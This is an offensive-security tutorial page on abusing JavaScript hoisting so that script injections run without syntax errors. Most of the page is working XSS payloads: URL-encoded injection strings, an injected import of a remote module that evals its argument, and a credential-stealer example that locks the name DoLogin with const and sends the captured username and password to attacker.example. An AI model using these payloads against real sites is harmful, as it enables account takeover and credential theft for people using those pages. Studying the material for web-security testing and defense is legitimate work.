JS Hoisting

Reading time: 6 minutes

Basic Information

In the JavaScript language, a mechanism known as Hoisting is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes.

During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds.

It is crucial to understand that:

1. The script must be free of syntax errors for execution to occur. Syntax rules must be strictly adhered to.
2. The placement of code within the script affects execution due to hoisting, although the executed code might differ from its textual representation.

Types of Hoisting

Based on the information from MDN, there are four distinct types of hoisting in JavaScript:

1. Value Hoisting: Enables the use of a variable's value within its scope before its declaration line.
2. Declaration Hoisting: Allows referencing a variable within its scope before its declaration without causing a ReferenceError, but the variable's value will be undefined.
3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.
4. The declaration's side effects occur before the rest of the code containing it is evaluated.

In detail, function declarations exhibit type 1 hoisting behavior. The var keyword demonstrates type 2 behavior. Lexical declarations, which include let, const, and class, show type 3 behavior. Lastly, import statements are unique in that they are hoisted with both type 1 and type 4 behaviors.

Scenarios

Therefore if you have scenarios where you can Inject JS code after an undeclared object is used, you could fix the syntax by declaring it (so your code gets executed instead of throwing an error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
    return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
    return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

More Scenarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
  y: {
    z: function(param) {
      eval(param);
    }
  }
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
  if (config) {
    return
  }
  // TODO handle missing config for: https://try-to-catch.glitch.me/"+`
  let config
  ;`-alert(1)` //`+"
} catch {
  fetch("/error", {
    method: "POST",
    body: {
      url:
        "https://try-to-catch.glitch.me/" +
        `
let config;` -
        alert(1) -
        `//` +
        "",
    },
  })
}
trigger()

Preempt later declarations by locking a name with const

If you can execute before a top-level function foo(){...} is parsed, declaring a lexical binding with the same name (e.g., const foo = ...) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
  const pwd  = Trim(FormInput.InputPassword.value)
  const user = Trim(FormInput.InputUtente.value)
  fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notes

• This relies on execution order and global (top-level) scope.
• If your payload is executed inside eval(), remember that const/let inside eval are block-scoped and won’t create global bindings. Inject a new <script> element with the code to establish a true global const.

References

• https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
• https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
• https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
• From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough